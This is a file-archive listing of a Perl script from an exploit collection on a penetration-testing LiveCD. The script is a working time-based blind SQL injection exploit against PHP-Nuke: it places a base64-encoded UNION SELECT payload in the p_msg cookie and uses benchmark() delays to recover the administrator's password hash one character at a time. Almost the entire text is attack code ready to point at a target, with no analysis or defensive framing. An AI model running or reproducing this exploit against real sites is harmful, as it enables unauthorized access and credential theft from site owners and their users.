home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webapp / phpnuke / phpNukeSQLinj.pl < prev    next >
Text File  |  2005-02-12  |  4KB  |  159 lines

  1.  
  2. use MIME::Base64;
  3. use IO::Socket;
  4.  
  5. #------------------------------------------------
  6. $logfile = "nukelog.txt";
  7. @chars = ("0","1","2","3","4","5","6","7","8","9","a","b","c","d","e","f");
  8. $data = "";
  9. #------------------------------------------------
  10. $remote = '127.0.0.1';
  11. $port = 80;
  12. $url = "/index.php";
  13.  
  14. # NB!! Tweak $md5times variable, to adjust the delay
  15. # according to server`s perfomance and latency.
  16.  
  17. $md5times = 260000;
  18.  
  19. #------------------------------------------------
  20. ###################################
  21. # #
  22. # Calibration begins ... #
  23. # #
  24. ###################################
  25.  
  26. $logline = "----- Page generation time meanvalue will be calculated now ----- " ;
  27.  
  28. print $logline . "\n";
  29. Writelogline($logline);
  30.  
  31. $sum = 0;
  32.  
  33. for($cnt=0;$cnt<10;$cnt++)
  34. {
  35.     $charx = @chars[$cnt];
  36.     $admin = "whateveraid:3974c84293fadcc0f0db9227fdd4cba3:";
  37.     
  38.     $admin = encode_base64($admin);
  39.     $admin =~ s/\=/%3d/g;
  40.     $admin =~ s/\n//g;
  41.  
  42.     $cookie = "lang=english; ";
  43.     $cookie .= "admin=";
  44.     $cookie .= $admin;
  45.  
  46.     $data = MakeGetRequest($remote, $url ,$cookie);
  47.     $mytime = GetGenTime($data);
  48.     
  49.     $xtime = $mytime;
  50.     $OK_CHARS='0-9';
  51.     $xtime =~ s/[^$OK_CHARS]//go;
  52.     $inttime = int($xtime);
  53.     $sum += $inttime;
  54.     
  55. }
  56.  
  57. $meantime = int ($sum / 10);
  58.  
  59. $logline = "Mean page generation time --> " . $meantime . "ms " ;
  60. print $logline . "\n";
  61. Writelogline($logline);
  62.  
  63.  
  64. #------------------------------------------------
  65.  
  66. $md5hash = "";
  67.  
  68. for($nr=1;$nr<33;$nr++)
  69. {
  70.     for($cnt=0;$cnt<16;$cnt++)
  71.     {
  72.         $charx = @chars[$cnt];
  73.  
  74.         $admin = "x' union select null,null,null,pwd from nuke_authors where name='God' AND IF(mid(pwd,". $nr .",1)='" . $charx ."',benchmark($md5times,md5('r00t')),1)/*";
  75.     
  76.         $admin = encode_base64($admin);
  77.         $admin =~ s/\=/%3d/g;
  78.         $admin =~ s/\n//g;
  79.  
  80.         $cookie = "p_msg=$admin; ";
  81.  
  82.         $data = MakeGetRequest($remote, $url ,$cookie);
  83.         $mytime = GetGenTime($data);
  84.     
  85.         $xtime = $mytime;
  86.         $OK_CHARS='0-9';
  87.         $xtime =~ s/[^$OK_CHARS]//go;
  88.         $inttime = int($xtime);
  89.  
  90.         $logline = "pos --> " . $nr . "char --> " . $charx . " --> " . $inttime;
  91.         print $logline . "\n";
  92.         Writelogline($logline);
  93.         
  94.         if(int(($inttime/$meantime))>5)
  95.         {
  96.             $md5hash .= @chars[$cnt];
  97.             $logline = "current md5hash --> " . $md5hash;
  98.             print $logline . "\n";
  99.             Writelogline($logline);
  100.             $cnt = 17;
  101.             break;
  102.         }
  103.  
  104.     }
  105. }
  106.  
  107. $logline = "----- Final md5hash --> " . $md5hash . "-----";
  108. print $logline . "\n";
  109. Writelogline($logline);
  110.  
  111.  
  112. exit();
  113.  
  114.  
  115.  
  116.  
  117. sub MakeGetRequest()
  118. {
  119.     $socket = IO::Socket::INET->new(PeerAddr => $remote,
  120.                 PeerPort => $port,
  121.                 Proto => "tcp",
  122.                 Type => SOCK_STREAM)
  123.     or die "Couldnt connect to $remote:$port : $@\n";
  124.     $str = "GET " . $url . " HTTP/1.0\r\n";
  125.     print $socket $str;
  126.     print $socket "Cookie: $cookie\r\n";
  127.     print $socket "Host: $remote\r\n\r\n";
  128.  
  129.     $buff = "";
  130.     while ($answer = <$socket>)
  131.     {
  132.     $buff .= $answer;
  133.     }
  134.     close($socket);
  135.     return $buff;
  136. }
  137.  
  138. sub GetGenTime($data)
  139. {
  140.     $idx1 = index($data,"Page Generation: ");
  141.     $buff1 = substr($data,$idx1+16,10);
  142.     return $buff1;
  143. }
  144.  
  145. ######################################################
  146. sub Writelogline($)
  147. {
  148.     $logline=$_[0];
  149.     $writeline = $logline . "\n";
  150.     open (LOG, ">>$logfile") || die "Can't open $logfile\n";
  151.     print LOG $writeline;
  152.     close LOG;
  153. }
  154. ######################################################
  155.  
  156.  
  157.  
  158.  
  159.